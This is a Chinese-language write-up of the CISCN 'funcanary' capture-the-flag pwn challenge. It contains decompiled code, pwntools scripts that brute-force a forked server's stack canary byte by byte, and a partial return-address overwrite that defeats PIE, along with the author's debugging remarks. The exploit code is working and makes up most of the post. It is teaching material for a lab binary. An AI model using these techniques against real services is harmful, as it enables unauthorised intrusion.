ciscn_pwn_funcanary


title:ciscn_pwn_funcanary

ciscn_pwn_funcanary

做了一整天的牢,爆破canary时一直报错说byte型不能和str型相连接,好不容易爆破出canary了,结果才发现还有一个pie enable。难绷。

不过总算是把他复现出来了:

直接看保护:这保护不得不说很豪华。

image-20230530091813876

直接ida看静态:

void __fastcall __noreturn MEMORY[0x12D2](__int64 a1, char **a2, char **a3)
{
  __pid_t v3; // [rsp+Ch] [rbp-4h]

  sub_1243(a1, a2, a3);
  while ( 1 )
  {
    v3 = fork();
    if ( v3 < 0 )
      break;
    if ( v3 )
    {
      wait(0LL);
    }
    else
    {
      puts("welcome");
      sub_128A();
      puts("have fun");
    }
  }
  puts("fork error");
  exit(0);
}

很明显这是子线程覆盖canary,首先fork一个子线程,然后在子线程内进行操作,这里我们需要知道的是,fork操作中子线程和主线程用的是一个canary.并且程序中这一个循环还不会终止,这就跟便于我们对canary的爆破:

漏洞函数:

unsigned __int64 sub_128A()
{
  char buf[104]; // [rsp+0h] [rbp-70h] BYREF
  unsigned __int64 v2; // [rsp+68h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  read(0, buf, 0x80uLL);
  return v2 - __readfsqword(0x28u);
}

在sub_128A中有一个read函数作为溢出点:

通过循环来逐字节爆破:stack reading

coding='utf-8'
from pwn import *
from binascii import*
context.log_level = 'debug'
# context.terminal = ['tmux','-x','bash','-c']
context(arch='amd64', os='linux')
p = process('./funcanary')
p.recvuntil('welcome\n')
canary = b'\x00'


for i in range(7):
    for j in range(256):
        payload =b'a'*(0x68)+canary + p8(j)#这里一开始是下面这种写法
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:    #如果没有显示stack-smashing则表示canary没有错误,所以会正常输出have fun,就可以判断是否成功。
            canary += p8(j)
            break
##-------------报错写法——————------
canary = "\x00"
for i in range(7):
    for j in range(256):
        payload ="\x00"*(0x68)+canary + chr(i)
        p.send(payload)
        a = p.recvuntil(b'welcome\n')
        if b'have fun' in a:
            canary += chr(i)
            break#很难崩

成功爆破:

image-20230530201536295

然后就是绕过pie了:

for i in range(16):
    payload = b'a'*(0x68)+canary +b'a'*(0x8)+b'\x31'+p8((i<<4)+2) #这种方法爆破感觉不是很合适,这里p8的范围是2-242也就是0x0000-0xf200,如果地址是0xf700啥的会不会有问题?或许类似下面这种跟合适?
    #list1 = ["x05","x15","x25","x35","x45","x55","x65","x75","x85","x95","xa5","xb5","xc5","xd5","xe5","xf5"]
    p.send(payload)
    a = p.recv()
    if b'flag' in a:
        print(a)
        break


p.interactive()

这里就不得不提到绕过pie的一个技术over write 的bypass:

因为pie保护是对内存页操作的所以只会影响除前三字节以外的地址,这时候我们就可以通过覆盖返回地址的后三字节来控制程序流,这里因为往往返回地址和getshell的地址的偏移也只在一内存页单位内,所以其他字节也基本不变,(个人理解可能有误)

所以这里也可以直接覆盖四字节,不用再爆破

image-20230530202101770

当然很多时候其实没有这么顺利,第四字节往往不一样,这时候就又需要爆破了

这里因为环境已经关闭所以没法拿到远程主机/bin/目录下的flag:

image-20230530203051811

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值